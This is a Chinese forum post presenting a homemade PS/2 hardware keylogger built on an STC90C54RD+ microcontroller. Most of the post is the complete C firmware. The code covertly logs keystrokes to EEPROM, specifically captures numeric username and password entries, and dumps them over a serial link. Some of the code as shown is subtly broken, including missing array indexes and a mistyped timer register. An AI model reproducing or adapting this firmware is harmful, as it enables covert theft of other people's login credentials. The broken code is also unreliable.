- 积分
- 31
- 下载分
- 分
- 威望
- 点
- 原创币
- 点
- 下载
- 次
- 上传
- 次
- 注册时间
- 2013-11-5
- 精华
|
马上注册,获取阅读精华内容及下载权限
您需要 登录 才可以下载或查看,没有帐号?注册
x
把这个电路板安装主机键盘接口后面,再接键盘。电脑操作者的所有输入,可根据不同要求记录在STC90C54RD+自带的EEPROM中。取下记录仪后,连接另一个电脑的串中,通过DELPHI编写的上位机程序,读出EEPROM记录下的键盘操作内容。纯好玩,请误用于其它用途。
赋上单片机C语言代码,DELPHI上位机程序的代码就免了。电路板图片也来一个,焊完了懒得找清洁液,别喷 ,整个电路板上只有两块集成电路,一个STC单片机芯片,一个串口转换芯片,呵呵,STC的芯片功能就是艮艮的。费话少说,直接上图。
//所用芯片为STC90C54RD+,共45K EEPROM,地址0x4000~0xf3ff。存放当前地址指针在0XF300处.
#include "reg52.h"
#include "intrins.h"
#include "eeprom.h"
#define uchar unsigned char
#define uint unsigned int
sbit key_data=P3^4; //键盘数据脚
sbit key_clk=P3^2; //键盘时钟脚
bit flagkey,flaguser,keyup=0,flag_serial=0; //flagkey为有按键按下的标志
uint eeprom_int=0; //存放EPROM中存放码值的个数
uchar intkey=0,keytemp=0; //intkey为脉冲计数,keytemp为码值
uint serial_num,inttimer=0; //inttimer定时器计数变量,serial_num为PC发送到MCU的字符'e'或's'
uchar code keyma[11]={0x45,0x16,0x1e,0x26,0x25,0x2e,0x36,0x3d,0x3e,0x46,0x5a}; //扫描码
uchar ascnum=0,keyasc[20]={0}; //ascnum为存放码值的个数及keyasc[]数组下标,keyasc[]为存放码值的数组
void key_scan() interrupt 0 //中断0设置为读键盘数据
{
if((intkey>0)&&(intkey<9)) //在第2到第9为数据,第1位为开始位,第10、11位直接丢弃
{
keytemp=keytemp>>1;
key_data=1;
if(key_data) keytemp=keytemp|0x80;
}
intkey++;
while(!key_clk);
if(intkey>10) //当大于10,表示数据接收完毕,关闭中断,进行数据处理
{
intkey=0; //脉冲计数清零
flagkey=1; //有数据标志置位
EA=0; //暂关闭中断
}
}
void timer() interrupt 1 //50MS产生一次中断?
{
TH0=(65536-50000)/256;
TH0=(65536-50000)%256;
inttimer++;
}
void serial() interrupt 4 //串行口中断,接收PC发送的命令'e'或's'
{
flag_serial=1;
serial_num=SBUF;
RI=0;
}
void epromwri() //EPROM写入函数
{
uchar i,temp1,temp2;
if(eeprom_int<0xf300) //在0XF300以内的地址均可写入
{
for(i=0;i<ascnum;i++)
{
byte_write(eeprom_int,keyasc); //将码值转换为数值写入
eeprom_int++; //eeprom_int++为字符地址或个数
temp1=(unsigned char)(eeprom_int>>8);
temp2=(unsigned char)(eeprom_int&0x00ff);
sector_erase(0xf300); //重新写入前先擦除扇区
byte_write(0xf300,temp1); //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
byte_write(0xf301,temp2);
}
}
}
bit keymahefa() //判断是否是数字和回车字符,如果不是,则清零,重新接收字符
{
uchar i;
for(i=0;i<11;i++)
{
if(keyma==keytemp) //如果在keyma数组中找到相同的扫描码,将数组下标做为相对应的按键数字存入keyasc数组中
{
keyasc[ascnum]=i;
ascnum++;
return 0;
}
}
return 1; //如果没有相同的扫描码,说明字符非法,返回1
}
void keypro() //字符处理函数
{
uchar temp1,temp2;
keyup=0;
if(keymahefa()) //判断字符是否合法
{
ascnum=0;
if(flaguser) //如果是非法密码字符,则EPROM存入位置指针提前到用户名的位置,重新存入用户名
{
eeprom_int-=6;
temp1=(unsigned char)(eeprom_int>>8);
temp2=(unsigned char)(eeprom_int&0x00ff);
sector_erase(0xf300); //重新写入前先擦除扇区
byte_write(0xf300,temp1); //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
byte_write(0xf301,temp2);
}
flaguser=0;
return;
}
if(keytemp==0x5a) //在回车产生
{
if(flaguser&&(ascnum<20)) //有回车,且密码标志和总字符数少于20个字符,存入密码
{
epromwri(); //存入EPROM
flaguser=0;
ascnum=0;
}
else if(ascnum==6) //有回车,且字符数是5+1个,则做为用户名存入
{
epromwri(); //存入EPROM
flaguser=1;
ascnum=0;
}
else //如果回车产生在其它位置,则清零,重新接收字符
{
ascnum=0;
if(flaguser)
{
eeprom_int-=6;
temp1=(unsigned char)(eeprom_int>>8);
temp2=(unsigned char)(eeprom_int&0x00ff);
sector_erase(0xf300); //重新写入前先擦除扇区
byte_write(0xf300,temp1); //EPROM写入的字符地址(及字符个数)存放在地址0xf300处
byte_write(0xf301,temp2);
}
flaguser=0;
}
}
}
void main()
{
uchar i,send_char; //send_char发送到PC的按键码值
uint addr_sector,addr_sendbyte; //addr_sector为擦除扇区的地址,addr_sendbyte为EPROM发送码值的字节地址
TMOD=0X21; //定时器1,方式2,为串行口设置.定时器0做为计数器使用
TH0=(65536-50000)/256;
TH0=(65536-50000)%256;
TH1=TL1=0XFD; //串行口波特率为9600
TR1=1; //计数打开
SCON=0X50; //工作方式1,不接收数,如果允许接收PC数据,为SCON=0X50
ET0=1; //允许定时器0中断
ES=1; //允许串行口中断
TR0=1;
EX0=1; //外部中断0有效
IT0=1; //下降沿触发
EA=1; //开总中断
eeprom_int=byte_read(0xf300);
eeprom_int=(eeprom_int<<8)|byte_read(0xf301);
while(1)
{
if(inttimer>=600) //此语句非常重量,主要是消除电脑启动和运行中所产生的干扰脉冲,得到正确码值
{ //变量=20,间隔1秒;变量=6000时,间隔5分钟。
inttimer=0;
intkey=0;
keytemp=0; //这几个变量清零后,得到正确的按键开始脉冲
}
if(flagkey) //有按键产生,进入EEPROM写入函数
{
flagkey=0;
if(keyup) keypro(); //如果按键松开标志KEYUP置1,则进入keypro函数进行处理
if(keytemp==0xf0) keyup=1; //如果按键扫描码为0XF0,则表示有按键松开,否则KEYUP置0
keytemp=0; //扫描码临时变量清零,进行入下一个读取进程
EA=1;
}
if(flag_serial) //有PC发送命令
{
flag_serial=0;
switch(serial_num)
{
case 'e': //为e时,执行擦除所有扇区操作,从0X4000开始,90个扇区,第一次使用前必须使用此功能
addr_sector=0x4000;
for(i=1;i<=90;i++)
{
sector_erase(addr_sector);
addr_sector=addr_sector+0x200; //每个扇区间隔512个字节
}
byte_write(0xf300,0x40); //在0XF300地址处写入首地址
byte_write(0xf301,0);
eeprom_int=0x4000; //清除数据后,字符地址(或字符个数)为首地址
break;
case 's': //为s时,将EEPROM中数值转换后发送到PC
for(addr_sendbyte=0x4000;addr_sendbyte<eeprom_int;addr_sendbyte++) //从0X4000处开始,eeprom_int结束
{
send_char=byte_read(addr_sendbyte); //读当前字节内容
ES=0;
if(send_char==10) //如果为10说明是回车,发送空格,便于在PC上观察
{
SBUF=32;
while(!TI);
TI=0;
}
else
{
SBUF=send_char+48; //将数值加48后发送相应的ASCII到PC,便于观察
while(!TI);
TI=0;
}
ES=1;
}
break;
}
}
}
}
|
评分
-
查看全部评分
|